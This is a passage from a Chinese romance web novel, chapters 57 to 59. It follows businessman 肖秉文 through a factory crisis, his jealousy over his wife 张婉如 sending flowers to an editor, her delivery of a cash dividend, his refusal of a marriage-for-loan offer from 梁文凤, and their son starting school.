“这件事之后我对公司也进行了一番改革,加强了管理,尤其是在生产线上,每一关都严格把控,确保不给有心人可乘之机。如果白主编有兴趣的话,我可以带你去我们工厂车间看看。” “行,肖总请。” 两人去了车间,换上无菌服,肖秉文一边带他参观一边跟他讲解,白军参观了一圈之后点点头,工厂里一切都井然有序,确实也像肖秉文说的那样,每一关都在严格把控。 肖秉文望着白军连连点头,又见跟在他身后的摄影师并未闲着,在各处拍照,他这才放了些心。 从工厂车间出来,白军问道:“这次事件除了对肖总的事业有影响外,你对的生活有没有什么影响?” 肖秉文没着急回答,而是先扫了他一眼,能做新闻媒体的,察言观色自然有一套,白军看出了他对这问题的排斥,他道:“这算是我跟肖总的闲聊,不会出现在报纸上。” “肯定也是有影响的。” “就比如,跟肖太太离婚了?” “……” 肖秉文眉心微蹙,他不想得罪媒体,再加上这人又是小戎朋友的家长,对他便带着几分客气,不过他这话题确实越界了。 “肖总也别介意,就当我们是在闲聊。”白军顿了一下又道:“说起来我这次过来还是受了小戎妈妈所托。” “哦?怎么说?”肖秉文目光微眯,嘴角却微微挑起笑,看着倒还算客气,可身上气质莫名冷了几分。 白军笑道:“几天前小戎妈妈请我吃了一顿饭,希望我有时间对你进行一下采访,她说这件事之后你积极吸取教训,也做了很多弥补措施,目前公众对你们还不买账,希望我做一下采访让大家了解你的诚意,或许对你的名声会有扭转。”白军说完将手腕抬起来,“你瞧瞧小戎妈妈还真是客气,又送礼物又送花的,就怕我不答应。” 肖秉文没说话,那勾在嘴角的笑却淡了一些。 白军又道:“没想到您二位虽然离婚了,但小戎妈妈对你的事情还这么上心,到处为你出谋划策,能娶到这样的太太真是三生有幸啊,可惜……”白军不误惋惜看了他一眼,“就是不知道往后又会是哪个男人有这样的好福气。” “这么说来那她确实有心了。”肖秉文表情很快恢复如常,“新闻讲究实事求是,当然我相信白主编一定会对今天的事情如实报道,至于我的私事,白主编也说了是闲聊对吧?” 他故意岔开话题,显然是不想聊私生活,白军也知趣,应道:“这个是当然。” 这次的访谈便就此结束。 这一日张婉如接了小戎回到家,没想到一进门就看到肖秉文坐在沙发上,两人都很意外,小戎尤其惊喜,即便性格沉闷如他也没控制住一声惊喜呼唤,“爸爸。”随后便向他小跑过去。 肖秉文也急忙站起身一把接住儿子,架着他的胳膊将他来回举了几次这才放下,随后揉了揉他的脑袋问他:“想我了?” “嗯。” “上次给你买的那套积木研究得怎么样?” “我都摆好了。” “给我看看。” 小戎便急忙带着肖秉文进了他的房间,肖秉文在房间陪了孩子一会儿这才出来,张婉如给父子两切了水果,见肖秉文出来,问道:“不玩了?” “玩得差不多了,让他自己写写字。” 肖秉文说完便回了房间,张婉如了然,将水果给小戎送进去便也跟着他回了房间里。关上房门,对上肖秉文有些复杂的眼神,张婉如心中的不安感更是强烈。 这段时间他那么忙,如果没有重要的事情是不会回来的,还记得上次他回来是因为她被梁文平那神经病带走了他怕她失踪,再上一次他回来是跟她提离婚。 梁文平那次是被迫,他主动回来总让她感觉没什么好事。 也不知道离婚那事儿是不是又要提上日程了,毕竟他说先用现金抵一下,如果现金用完了没什么效果他就得去贷款,要去贷款他就要先离婚。 几天前才对小戎说过他们不会离婚来着,虽然离婚是为了贷款,可总归还是离了,小戎知道了肯定会难过。 再加上她感觉肖秉文看她的眼神怪怪的,越发让她觉得他回来没什么好事。可张婉如还是问出口,“你怎么突然回来了?” 肖秉文沉默了一会儿说道:“昨天白军去了一趟我公司,对我作了一下采访。” “啊?他这么快就去了啊?他说是下周啊,本来我还打算先跟你说一声来着,没想到他去这么快。” 肖秉文目光渐渐暗了下来,还真是她拜托白军去的啊。 “白军告诉我,为了让他采访我,你不仅请了他吃饭还送了他礼物。” “这个是当然啊,先不说之前小戎找我那事儿人家帮了忙,这次我拜托他去采访你,也是想通过媒体让大众更清晰认识你,希望能让和盛味业的形象更正面一点。求人办事那自然是要送礼的。” 肖秉文勾唇笑了笑,“还送了花?” 张婉如总感觉他这抹笑带了几分深意,她道:“白军说他喜欢花我就送了。” “是吗?那怎么没见你送我?” “啊?你也喜欢花吗?” “……” 肖秉文一个大男人喜欢什么花,只是想到之前他为讨她欢心送过她花,所以他觉得送花这事儿多少带点暧昧。 “采访如何?还算顺利吗?”张婉如又问道。 “挺顺利。” “那就行,礼没白送。” 说完心情又沉重了几分,她道:“所以你这次回来是有什么事吗?” 张婉如并不觉得肖秉文特意回来就跟她说一下采访的事情,这在她看来没什么,而肖秉文却觉得她在故意岔开话题。 他便没忍住说道:“你不觉得送男人花有些不合理吗?” 张婉如挺疑惑,他怎么又扯这个话题上了,“不合理?他说他喜欢,为了投其所好就送了,这……不合理吗?” “当然。” “……” 张婉如诧异看了他一眼,他回来一趟不会真是为了这事儿吧?因为他送了白军花?肖秉文这人吧处事挺大气,不会为一点鸡毛蒜皮的小事计较那么多。要说他就因为她送了白军花这事儿特意跑回来,她觉得不太合理。 “你回来就是为了问我这个?” 肖秉文从她的表情看出来,好像他为了这事儿回来挺小题大做的。肖秉文心头闷了些火,下意识摸出烟和打火机,想抽根烟,刚含在嘴里,张婉如就道:“别抽。” 烟倒是还叼在嘴里,不过打火机重新放了回去,没点燃,那烟含在嘴里被他狠狠咬了一下,倒不是因为她阻止他抽烟。 他似笑非笑看向她,“你觉得送他花这事儿没什么?” 当时白军跟他说那些话,肖秉文虽然听得不太舒服但也没太当回事,毕竟白军也是有孩子有家室的人,不过后来他多了个心思让人去调查了一下,原来那白军跟妻子离婚好几年了。目前是单身。 那白军跟他说那话就更耐人寻味了。一个梁文平一个白军,偏偏这个白军又不像梁文平那样可以任他拿捏。 他和张婉如离婚的消息确实是他放出去的,公司这事儿闹得大,不想他们母子被影响。却没想到给自己留下隐患。 他目光落在这丫头身上,她倒是逗人喜欢得很啊。想到此处,他又在那烟屁股上狠咬了一口。 看样子他是真介意这事儿的,倒没想到这个平日里作风大气行事爽快的男人倒也有心思敏感的一面,就为了这事儿特意跑一趟?原本还担心他回来又跟她提离婚来着。 不过这倒让张婉如松了口气,“我当时也没想那么多,只要能帮你,送就送呗。” “你没想那么多不代表别人就不想。” “啊?你是说白军?他会想什么?” “哪个正常男人会让女人送花?” 说话的语气带着嘲讽,再加上咬着烟的动作,耳边肌肉绷紧了,给她的感觉就是在咬牙切齿。 “也有可能有些男的就喜欢花的。” “喜欢花是一回事,就怕有人心思不轨。” “心思不轨?白军?” 肖秉文沉默,张婉如道:“你想多了吧,就接孩子的时候碰过几次面,还有那次小戎和白子浩一起去吃冰淇淋,我和白军都不放心一起带他们去肯德基,顺势再请个客感谢一下他们父子,其他时候也没太多接触。” 听到这话肖秉文目光微眯,“你们还一起带孩子去过肯德基?” “俩小孩要去吃冰淇淋,总不可能让他们自己去吃吧,那么小的孩子。” 肖秉文面色有些冷,拇指和食指将咬在嘴上的烟抽下来,指腹摩挲着在上面狠狠捏了几下,烟嘴都捏变了形,随后轻轻一弹,那烟就被弹进房间的垃圾篓里。 他这状态,明显看出是生气了。最近这么多事情,厂子里乱七八糟的,他百忙之中还要抽时间为这事儿生气,也真是难为他了。 张婉如自然也不想他太累,他上前握住他的手说道:“我以后注意一点,不过你说的白军心思不轨什么的,我觉得应该没那回事,当然我以后还是尽量跟他保持距离好吗?” 肖秉文双手插进裤兜里,一脸似笑非笑看着她没说话。这表情看着还挺有压迫感的。 张婉如觉得,她得哄一下。 “你别生气了好吗?”张婉如又道,她搂上他的腰,柔声唤了一句:“亲爱的。” “……” 亲,爱,的。 肖秉文愣住低头对上她的脸,似笑非笑的表情因为这三个字的刺激骤然绷紧了些,眉梢却没忍住挑出一抹弧度。 他道:“怎么这么叫我?” “我们是夫妻啊,这么叫不行吗?”声音柔得仿若能掐出水,明显是在跟他撒娇。春风化雨般的柔情,尤其这人还是张婉如。 亲爱的,她怎么想得出这称呼的。 肖秉文怎么抵挡得住?抽出插在裤兜中的一只手轻轻按在她腰上,他似嗔非嗔说道:“干嘛突然这样闹?” 第58章 第58章挺会哄人 这语气,一听就是被哄住了,想着这男人因为这事儿,那么忙的还特意回来一趟,张婉如挺心疼的。反正都是哄,那肯定是捡最能哄的话来哄了。 张婉如将下巴抵在他的胸口又道:“你别生气好不好?我以后会注意的,别人怎么想的我不知道,但是我很清楚,我是你一个人的。” 前面说了什么不重要,但最后这句话着实取悦了他。 “我是你一个人的。” 她是知道怎么逗人喜欢的,难怪又是梁文平又是白军的,还有个这么多年过去了还对她念念不忘的李长庚。 肖秉文是真有点来火,因为白军的事情,尤其知道了他们俩还带着孩子一起去吃过冰淇淋。 虽然她说得也有道理,总不能让两孩子单独去吃,家长跟着要安全点,但就是让他心里不舒服。 她也真是够厉害,三两句话他火气就消了大半。 再加上她这软软的身体往他怀中一靠,方才还风雨欲来的,一转眼就变成了良辰美景,这么好的时光拿来冒火实在可惜,他这来回一趟也是不容易。 那另一只插在裤兜里的手也取出来搂上她的腰,微微弓着身体将人整个抱进怀中,仔细感受了一下,缓了缓方才那话带给他的冲击,他这才说道:“再叫一声儿。” “什么?” “你刚叫过的。” 两人一起这么久了,张婉如自然了解他,知道他指的什么,看样子确实有用,她忍着笑意,说道:“我以后会注意的。” “……”肖秉文轻咳一声,“别闹了,不是这句。” “亲爱的。” 环在她身上的手臂下意识搂的更紧,肖秉文是真挺受用。 他突然有些后怕,不经意脱口而出道:“幸好。” “啊?幸好?幸好什么?” 这句话来得莫名其妙。 幸好什么肖秉文却没继续说,但心里清楚得很,幸好当初没选择离婚啊,要是离婚了摊上这事儿,她还能窝在他怀中,说这些暖心窝子的话给他听吗? “那你可得记好了。”肖秉文又道。 “记好什么?刚说幸好什么意思啊?” 肖秉文并不想解释,只道:“记好你说的话。” “哪句啊?” “你是谁的。” “我是你一个人的?” “嗯,就这句。” 张婉如窝在他怀中,实在没忍住压着声音笑了出来,还真哄对了。 因为肖秉文的话,张婉如去接小戎时在游泳馆碰到白军便感觉有些别扭。白军倒是挺随意的,见到她依旧热情打招呼。 “小戎妈妈,今 天来这么早?” “还好,你今天也挺早。” 张婉如尽量保持客气。 “哦对了,昨天我正好有空去了一趟和盛味业对肖先生做了下专访。” “嗯,我听他说过的,说是采访挺顺利的,到时候写报道还希望白先生能多美言几句。” “也不需要我美言,肖先生做得很好,我只需要如实写就行,我相信肖先生的真诚肯定能打动消费者。” “如果能这样那就再好不过了。” 正好小戎和白子浩出来了,张婉如急忙冲儿子招招手,白军也冲白子浩招手打招呼。趁着孩子过来的间隙,白军突然冲张婉如说了一句:“对了小戎妈妈,你们公司是不是有个模特叫林友莉。” “是啊,怎么了?” “是这样的,我想对林小姐做一下专访,能麻烦小戎妈妈牵一下线吗?” 这话倒出乎张婉如意料,林友莉虽然有一点名气,但像金太阳这种大报社也不至于将目光落在这种小模特身上,而且还是专访。 不过这也是个机会,对林友莉也有好处,张婉如道:“当然可以。” “那就谢谢小戎妈妈了。” 第二日上班张婉如就将白军的话转述了一遍,问林友莉,“你有兴趣吗?” “这个人能信得过吗?” “信不信得过不知道,不过上次我有点事耽搁了没能去接小戎,一直是他带着小戎到处找人联系我。人品应该是不会差的,而且如果能搭上这样的大报社提高知名度,对你也有好处。” 在提高知名度这点上林友莉一直都挺佛系的,不过既然张婉如觉得可以,那做一下专访也没什么,就当长下见识了。 这边林友莉答应之后,张婉如便将消息转告给白军,白军听完挺高兴的,问道:“那林小姐什么时候有时间?” 张婉如感觉他表情有点奇怪,按理来说林友莉名气也没那么大,白军的开心便显得不太合常理,怎么看都夹杂了点私人情绪。 莫非…… 张婉如跟白军确定了一下见面的时间地点,白军怕她忘,还特意将地点写下来,顺便附带自己的联系方式。 张婉如看了一下采访地点,并不是在金太阳报社,也不在其乐,而是在一家西餐厅,这家西餐厅在柳城挺出名,主西式,装修得很浪漫。 张婉如看到地址后,暗想着,或许真不是她想多了。 林友莉得知见面的地址之后也挺诧异,张婉如见她犹豫,便道:“你要是不想去的话,我可以帮你回绝他。” “没有,可以去看看。” 到了约定那天,林友莉按时到达约定地点,这餐厅搞得还挺花里胡哨的,院子里种满了玫瑰。她按照服务员的指定来到花园中的某个位置,远远的就看到有个男人在那儿喷香水,喷完还撩起咯吱窝闻了闻。 林友莉心下疑惑倒也没多想,随着服务员走过去。白军看到人来,急忙起身迎接,动作太急了身体还不小心撞了一下桌子,轻轻撞了一下倒也无伤大雅。 林友莉看到眼前这人却愣了愣,张婉如跟她说对方是金太阳报社的主编,她还以为能当上主编的大概率是一老头子,没想到这人还挺年轻。 而且……他穿着一件花衬衫,一条白得在发光的西裤,头上还打了发胶,在一片灿烂的玫瑰中也没被比下去,他这一身依旧吸引眼球。 总之林友莉看到他的第一反应是:好大一只花孔雀! 肖秉文这一走又是好几天不见人影,张婉如什么都做不了也只能静待事情发展。每天就上班接送孩子,能少跟人接触就少跟人接触。 这天袁雯提溜了一个箱子来张婉如办公室找她,她将箱子摆张婉如办公桌上,又道:“这个给你。” “这什么?”张婉如一头雾水。 袁雯将箱子打开,里面是一摞摞码放整齐的现金,张婉如一脸诧异向她看去。 “我们公司刚起步那会儿肖总不是投了二十万吗?说起来我们公司能有今天还多亏了肖总那笔投资,如今公司也赚了些钱,也是时候给投资人分红了。这是三十万,给咱肖总的,当然也是肖总应得的。” “……” 听到这话,张婉如心情复杂。肖秉文前期给他们投资了二十万,赚钱之后确实该给他分红,不过公司目前还在发展阶段,一下子要拿出几十万的分红影响也挺大。分红这事儿肖秉文那边也不急,张婉如想的也是等公司稳步发展了再说。 可谁能想到肖秉文的公司突然出事了,袁雯大概也是看到了这点才这么着急给他分红。现在的他确实急需用钱,当然现金是最好的,几十万说多不多说少也不少,最起码能让他应应急。 不过其乐的发展也需要钱,袁雯每走一步都很谨慎,每笔钱都用在刀刃上,这么大一笔现金取出来,对于其乐肯定是有影响的。 张婉如许久不言,她知道这笔钱袁雯凑出来肯定不太容易,可她也知道目前肖秉文确实需要钱。 她目光复杂看向袁雯,袁雯却道:“别这么看我,本来年底就该给人肖总分红的,拖到现在,再怎么样也要及时给投资人甜头不是,不然人下次怎么还会给我们投资啊?” 张婉如笑了笑说道:“也是。” “是嘛,这钱你尽快拿给肖总吧。” 下午,张婉如抱着箱子乘了一辆出租车去了和盛味业,本来担心又跟上次一样工厂外面围满了人进不去。去了看到门口空空,她稍稍松了口气,只是工厂安保明显严密了许多,张婉如被盘问了许久,直到她借保安室的电话给秘书室打了个电话过去,没一会儿孙秘书亲自来接保安才放人。 “肖太太也知道工厂出了事儿,最近查得严,要是有什么得罪之处还望见谅。”小孙一脸歉疚冲她道。 “没关系,看到安保这么严的,我倒是安心了不少。” 小孙将她带到肖秉文办公室,肖秉文不在,小孙冲她道:“肖总还在开会,肖太太你稍坐一会儿。” “没事,我等着,你去忙你的吧。” 小孙确实也挺忙,给她泡了杯茶就匆匆走了。张婉如在办公室等了许久也不见肖秉文,等得有点困,她便打算去肖秉文隔间的休息室休息一下。那里有一张小床,肖秉文在工厂加班没回家的时候就在小床上睡。 张婉如在小床上躺了一会儿就听到外面传来说话声,想着应该是肖秉文回来了,正要出去,手放在门把上却听到一道不属于肖秉文的声音。张婉如要出门的动作顿住,从门缝往外看去,确实是肖秉文回来了,可跟他一起进来的还有一个女人。 她认识的,梁文凤。 张婉如有些奇怪,梁文凤为什么会出现在这里,她正犹豫着要不要出去,外面两人已经聊了起来。 “你来找我有事?”这话是肖秉文问的。 “我听说你想贷款。” “听谁说的?” “肖瑜啊。” “这家伙还真是个大喇叭。” “我可以帮你。”梁文凤又道。 “帮我?” “你工厂出了事,要贷款恐怕不太容易。不过如果从我这里贷款的话,我可以帮你办下来,而且还会格外帮你争取百分之十的额度。” 梁文凤在银行工作,帮肖秉文贷款额外申请额度什么的倒是容易办到。 肖秉文没说话,他点燃一支烟抽起来,目光微眯穿透缭绕的烟雾看向梁文凤,梁文凤被看得不太自在,故作自然问道:“怎么样,你有兴趣吗?” “我很奇怪,我把我爷爷给你们的房子收回,上次去你家还打了你弟弟一顿,按理来说你应该恨我,怎么还想着帮我?”肖秉文似笑非笑向她看过去,直接问道:“所以应该有条件的对吧?” 肖秉文的直接倒让梁文凤愣了片刻,不过来时已做好了心理准备,所以梁文凤直面肖秉文的目光干净利落说道:“跟我结婚。” 此刻站在隔间里的张婉如心跳不自觉漏了半拍,倒不是她故意偷听别人谈话,只是在这种情况下她突然出去让大家都尴尬。 此刻听到梁文凤这话,她一脸复杂向肖秉文看去,她知道肖秉文这会儿确实很需要钱,他也说过他想贷款,而梁文凤正好又能帮到他。 梁文凤也看向肖秉文,只见肖秉文低头笑了笑,也没诧异于她的话,又或者他压根不在意,他道:“你们两姐弟真有意思,这世上男女那么多,怎么就盯着我们夫妻两?更何况我对你家都这么不留情面了,你还想跟我结婚?” 梁文凤忽视掉他语气中的嘲讽,她道:“你和张婉如不是离婚了吗?所以你是什么想法?有兴趣吗?” 梁文凤说这话时面色平静,双手背在身后故作闲适,看向他的目光中也不失骄傲,然而只有她清楚此刻她内心的紧张。 肖秉文慢条斯理将烟头在烟灰缸里摁灭,如随口回答一般冲她道:“没兴趣。” 梁文凤面色微僵,背在身后的双手也下意识绞紧,她调整了一下呼吸,尽量保持平静面色问他:“为什么?你不需要钱吗?” “我当然需要钱,不过我还不至于没用到需要靠联姻来帮自己度过难关。当然如果联姻对象换成张婉如的话,我倒是可以没用一下,至于其他人,还是算了。” 他语气平静得像是在跟她闲聊,语气中也不带半点嘲讽,可梁文凤还是被狠狠刺了一下,她感觉到了深深的侮辱。她知道肖秉文这人挺傲气,看上去好相处,真正跟他相处起来就能发现他给你的距离感。来之前也想过会被他拒绝,可她没想到他会拒绝得这么干脆,他都落魄成这样了,竟还能满不在意说出“我还不至于没用到需要靠联姻来帮自己度过难关”。 一股火气在心头涌动,可生气又有什么用呢,他有拒绝的权利,本来就是她主动来找他的不是吗?要说起来这个贱也是她主动犯的。 “看样子,是我打扰你了。”梁文凤虽然火大,但也不会胡搅蛮缠,越发显得自己没自尊。 “没事,我还有事忙,就不送你了。” 面色倒还客气,却是很直白的逐客令,梁文凤深吸一口气,也不再多言,转身出了他办公室。 直到确定梁文凤已经离开,里屋的张婉如这才出来。肖秉文看到突然出现的她愣了一下,随即便嗔怪道:“这个小孙,你来为什么都不告诉我,什么时候过来的?” “来了一会儿了。” 来了一会儿那自然是什么都听到了,不过肖秉文面上也不见尴尬,唠家常一般问道:“吃过饭没有?” 张婉如没心思跟他聊这个,她笑了笑,冲肖秉文调侃一句:“肖先生挺有魅力啊。” “怎么说?” “不然人家梁小姐怎么特意跑来跟你求婚?” 语气酸溜溜的,看到她出现在这里时肖秉文确实心慌了一瞬,毕竟梁文凤跟他聊的话题确实有点暧昧,不过也就一瞬,他连看都没多看梁文凤一样,他自觉挺坦荡。 所以这会儿听到张婉如的调侃,他并未紧张,甚至因为她酸溜溜的语气心头多了几分愉悦。 “你这是在吃醋?”他问她。 被戳穿了张婉如也没乱了阵脚,她一脸理所当然说道:“没有啊,我这不是夸你吗?” 肖秉文笑容淡了一些,说道:“那真是谢谢你夸奖了。” “不客气。” “……” 自从上次分开两人也好几天没见面了,肖秉文实在不想在这些事上浪费时间,他走上去,用手指刮了刮她的脸说道:“你刚不也听到了嘛,我拒绝了。” “听到了啊,不过你为什么拒绝?梁小姐提的条件挺诱人的,你不是正好需要钱吗?” 这小没良心的,肖秉文听到这话也来了些火,他似笑非笑看着她,“你是故意来气我的是吧?” 张婉如确实有点生气,不过撒了点小脾气,心情稍好了一些,两人难得见面,她也不想因为别的事情浪费时间,而且这次来也是谈正事的。 张婉如便问他:“你现在应该忙完了吧?可以给我点时间聊聊吗?” 她这一本正经的样子还挺可爱,肖秉文心情也好了些,说道:“嗯,忙完了。” 张婉如也不废话,冲他道:“我来给你送这个的。” 张婉如将放在茶几上的箱子打开,肖秉文看到里面的现金,眉心微蹙,“这是……” 她哪里弄这么多钱? 张婉如道:“还记得我们公司刚成立那会儿吗?你投了二十万给我们,这是给你的分红。” “……” 肖秉文还记得,不过当时给她二十万,他就没想过要什么分红,投钱给她他就没想过要回报。毕竟当时觉得她们有点想当然,什么都没准备好就想做生意。只是她想尝试,他也愿意帮忙忙让她玩玩,不过他没想到这两个女孩还真将公司做起来了。 想到那次他看到她大太阳底下发传单,公司能起来,她跟袁雯自然也是费了不少心思的。她所作出的努力他看在眼里,至于真正的辛苦他可能还了解不到万分之一。 能凑出这笔钱怕也是不容易。 肖秉文看着箱子里的现金沉思良久,“当时投资你,就没想过要什么回报。” “那怎么成啊,当时我可跟你说清楚的,我们也是白纸黑字签了合同的,如今公司赚了钱,当然该给投资人分红,这都是你该得的。”张婉如一脸理所当然,又道:“当年你投了二十万,加上该给你的分红,这里一共三十万。” “三十万?”肖秉文沉吟出声,心情有些复杂,当时确实没想过要回报,不过现在他也确实很需要现金,他笑了笑,“一年多回报率百分之五十,是我大赚了。” 张婉如道:“不过说到底也没有人梁文凤能给你的多。” 肖秉文简直要被气笑了,不过她动不动就提这茬,语气还酸溜溜,说明心里是在意他的,这么一想又觉得她这小模样还挺可爱。 肖秉文道:“那怎么能一样,梁文凤给我的,我将来是要还的,你给我的那就完全是我的。你可比她能给我的实际多了。” “也是。”张婉如赞同点点头,说道:“所以我就说嘛,投资我不会让你吃亏的。” “那确实。”两人氛围好起来,肖秉文自然顺着夸赞:“张婉如很厉害。” 听到这话张婉如噗嗤一声笑了,也没谦虚,“这么一看,我确实挺厉害。” 半开玩笑的话,挺自得,却不叫人讨厌,小表情透出灵动可爱,很戳他心窝子。 张婉如站起身,说道:“行了,知道你还有别的事情忙,我先走了。” 两人难得见面其实还挺舍不得的,不过难舍难分的挺耽误事儿。张婉如知道这点,肖秉文自然也知道,可看着她起身,他又不太想人走,她酸溜溜的样子,她的话她的笑,她得意的小表情都太戳他了。 一时也没说什么,他索性几个大步走过去,拽住人的手腕将人往怀中一拉,柔软身体撞进怀中的那一刻,双臂收紧把人紧紧抱住。 熟悉的胸膛熟悉的气息一下包裹而上,张婉如也没多问,脸埋进他胸口,下意识抱紧了他。 靠进熟悉的怀抱,这么多日忐忑不安的心也安宁了些,张婉如不自觉说道:“好想你啊。” “嗯?” 张婉如微微抬头,下巴靠在他胸膛上,对着他询问的目光,她又说了一句,“我说,我好想你。” 她看向他的目光柔得不像话,说出“我好想你”这句话的嘴也甜得像抹了蜜一样,甜得人心里发痒。 肖秉文一时心猿意马,他抬手,拇指蹭了蹭她的脸,说道:“张婉如,不要这样。” “什么?你不爱听啊?”张婉如有些失落。 “不是。”肖秉文落在她身上的目光渐深,“你这样,一会儿怕是走不掉了。” “……” 第59章 第59章暴露 “要不要留在这里过夜,隔壁有个房间可以睡觉。”肖秉文又说了一句。 不是,他还真有这想法啊?张婉如还没丧失理智,她道:“小戎怎么办?” 也 是呢,还有个小崽子呢,他差点忘了。 他这这段时间都没怎么回家,要是张婉如再不回家,留孩子一个人在家怎么行,小崽子内向,心思却敏感得很。 肖秉文也只能依依不舍放开她,说道:“我让小孙开车送你回去。” 这会儿不管坐公交还是打车都不方便,他也不放心。 “好。” 再耽误下去只会更晚,虽然不舍得,而且这次分开又不知道什么时候再见面,张婉如还是离开了。 望着她离开的身影肖秉文呆站了一会儿,不知过了多久才收回目光,肖秉文看向那摆在茶几上的现金。 他手指在上面轻轻抚摸,其实这钱她可给可不给的,可她一直强调这是他该得的,就是不想他拿得有负担。 肖秉文笑了笑,张婉如真挺厉害,他很自豪。 * 某歌舞厅里,五颜六色的光打在大厅,音响的音量拨到最大,灯光和音乐融合出激情四射的效果,把人的细胞都震得沸腾。 不少人在舞池里跳舞疯狂,宣泄着浑身精力。与舞池中热闹不同的是,一对男女却坐在无人在意角落喝酒,跟现场热闹的氛围有些格格不入。 对面男人见她又拿过一杯往肚里灌,他急忙拦住,劝道:“大小姐,你都喝了多少,真把酒当水喝了啊,别喝了。” 梁文凤撑着下巴,喝了不少酒,她目光开始迷离,撑着下巴的手也没多少力气,差点没撑住,下巴磕在桌上,还好对面的肖瑜扶了一下她的下巴,不然这一下砸桌上得多疼。 “你说说肖秉文这个人,他都落魄成这样了,他拽个什么啊?” 其实她就想去试一下,这是不错的机会,肖秉文都到这个地步了,她的条件也很诱人,或许真能成,哪怕是利益结合的,可好歹也是结合了。上次肖秉文因为张婉如将他们一家赶出了肖家老宅,按理来说她应该恨他的。可她实在不想因此跟肖秉文撕破脸,也说不上对肖秉文这人有多喜欢,喜欢到非他不可的地步,但就是不甘心。梁文凤也清楚,她就是自尊心作祟。 肖瑜也听梁文凤说过她找肖秉文的事,本来梁文凤在去之前就告诉过他,她要去跟肖秉文谈条件,那时候他就不赞同,事情的走向倒是也在他意料之中。 “我不是早告诉过你了吗?肖秉文这会儿确实需要钱,但以他那人的性格,他就不是那种会为了钱跟谁低头的人。” “你知道吗,他拒绝我就算了,居然还说什么,要是把我换成张婉如的话,说不准他会考虑一下,这不是侮辱人吗?” “人家跟张婉如感情好啊。” “感情好还离婚吗?” “说不定没离婚。” 梁文凤迷离的目光清明了一下看向肖瑜,“什么意思?他俩没离婚?” 肖瑜灌了一口酒,“说不准真没离婚。秉文对张婉如喜欢着呢,没那么容易离婚。” 这话刺的梁文凤有些不舒服,“肖秉文对张婉如喜欢,那张婉如对肖秉文呢?我听人说是张婉如看肖秉文落魄了甩的他。” 肖瑜道:“我看未必,张婉如也不像那种见钱眼开就跟人在一起,没钱就冷血无情把人甩掉的人。” 梁文凤沉思良久,说道:“所以这俩压根没离婚?” “有这个可能。” “那为什么外面都传他俩离婚了?” “大概是为了保护张婉如母子?” 梁文凤嗤笑一声没说话,她传呼响起来,梁文凤拿起看了一眼,眉头皱了皱。 肖瑜道:“姓周的又联系你了?” 姓周的就是梁文凤之前交那男朋友,本来家里人都在凑合他们尽快把事情办了。但梁文凤在最关键的时刻意识到这个男人并不是她的良配,所以就在一家子震惊的目光下和男人分手了。 倒是没想到分手之后这人还时不时联系他,说些骗人的鬼话,什么没了你不行啊,什么已经爱上了啊。 梁文凤倒没有因为他只言片语冲昏头脑,已经决定分手了,就没回头的必要。梁文凤自然也没跟那姓周的回电话。 从歌舞厅出来,梁文凤喝得有点多,昏昏沉沉躺在肖瑜车的后座上冲她道:“我今天不回去了。” “你不回去,你去哪儿?” “去你那儿。” 肖瑜外面没房,不过他台球室搂上有个房间可以睡觉,偶尔不回家时他就住那儿。 肖瑜道:“我那儿就一张床,不太方便吧?” “我睡你那儿,你回家不就好了。” “那你可真会安排啊。” 肖瑜先将她送到台球室,车子停下时梁文凤已经睡着了,肖瑜叫了她几声她没应。没办法他将她抱下车,上了楼,将她放床上,一时也没走,就在床边盯着她看。看了片刻轻叹了口气,帮她将被子盖上准备离开。 手上一紧,一低头却见是她拽住了他,眼睛倒还闭着,醉酒还没醒,迷迷糊糊冲他道:“陪我一会儿。” 肖瑜沉默片刻便在床边坐下,“你要说什么?” 问完也没人应,再盯着她看,人已经睡着了。肖瑜觉得挺无语的,方才本打算走的,这会儿却又不想走了,他将她往里面推了些,在她旁边躺下。 梁文凤醒来时是在某个怀里,她转头一看,对上肖瑜那张脸。她吓了一跳,猛然坐起身,急忙检查了一下自己身上,好在衣服还好好穿着。 肖瑜也醒了,对上她的动作挺无语的,“在你眼里我有那么禽兽趁人之危?” 他突然出声将她吓了一跳,梁文凤有些尴尬看了他一眼,肖瑜是什么德行她很清楚,不过她什么都没说。 有点尴尬,她从床上爬下去,说道:“我,我先走了,昨天谢谢你陪我。” “不一起吃个早饭吗?” “不了。” 梁文凤说完便逃也似的往门口走去,肖瑜追上去靠在门框上,双手抱胸,叫住了她。 “梁文凤。” 梁文凤脚步停下回头看向他,却见肖瑜抓了抓刚睡醒有些凌乱的头发,用一种半正经半开玩笑的语气说道:“要不咱两凑合一下?” “凑合?”梁文凤没反应过来,“凑合什么?” “过日子啊。” 梁文凤沉默了片刻,说道:“不要,我不喜欢浪子。” 她说完就离开了,肖瑜笑容收敛,怔了好一会儿才回过神。 “浪子?”他轻声念叨着这两个字,想着昨日搂着她煎熬到半夜才睡着,他要是浪子,她还能完完整整在他这里睡一晚上,肖瑜自嘲一笑。 ** 一转眼暑假过后小戎也开学了,开学之后小戎进了一年级,成了标准的小学生。开学第一天,张婉如按时来接他。 在校门口接到小戎之后张婉如便忍不住问他:“今天第一天上小学,感觉如何?” “还好。” “还好就行,新学期应该有很多新同学吧,白子浩和你一个班没有?” “和我一个班。” “那挺不错的啊,往后六年,你们既是朋友又是同学了。班上还有学前班的老同学吗?比如林天雅,你和天雅妹妹一个班没有?” 小戎点点头,张婉如道:“不错不错,和天雅妹妹一个班也有个照应,嗯……还有……胡美馨呢?和她一个班吗?” 听到胡美馨的名字,小戎沉默了片刻才点了点头,“妈 妈还记得胡美馨?” “嗯,记得啊,那次春游你受了伤,她还把发带借给你绑伤口对吧?胡美馨人挺不错的,现在还跟你一个班,你要是能和她处成朋友也挺好。” “胡美馨有很多朋友。” “看样子胡美馨人缘不错,不过胡美馨有很多朋友也没关系啊,如果小戎想和她做朋友的话,可以试着主动一点,说不定你们也能成朋友。” “主动?” 小戎想着胡美馨走到哪儿都是前呼后拥一群人,她好像也不差他一个朋友。 张婉如看出小戎的犹豫,便也没太强迫,揉了揉他的头道:“没事,慢慢来嘛。” 她牵上儿子的手,准备去搭公交车,才走两步就听到有人叫她。 “大姐,婉如大姐。” 张婉如回头,就见一个清瘦的少年向她跑过来,她很快认了出来,是张行书,她同父异母的弟弟。 张行书小跑上前却在距离她好几步远的地方停下,动作有些犹豫。 倒是张婉如先开口,“你在这里上学?” 张行书点点头。 张行书其实看到张婉如好几次了,只是每次看到都不好上前跟她打招呼。他知道大姐因为她母亲遗物的事情不太喜欢他们一家。其实张行书也理解,大姐母亲早逝,那是她留给她的唯一东西,在知道自己的钢琴是用大姐母亲的遗物买的之后他也很生气。 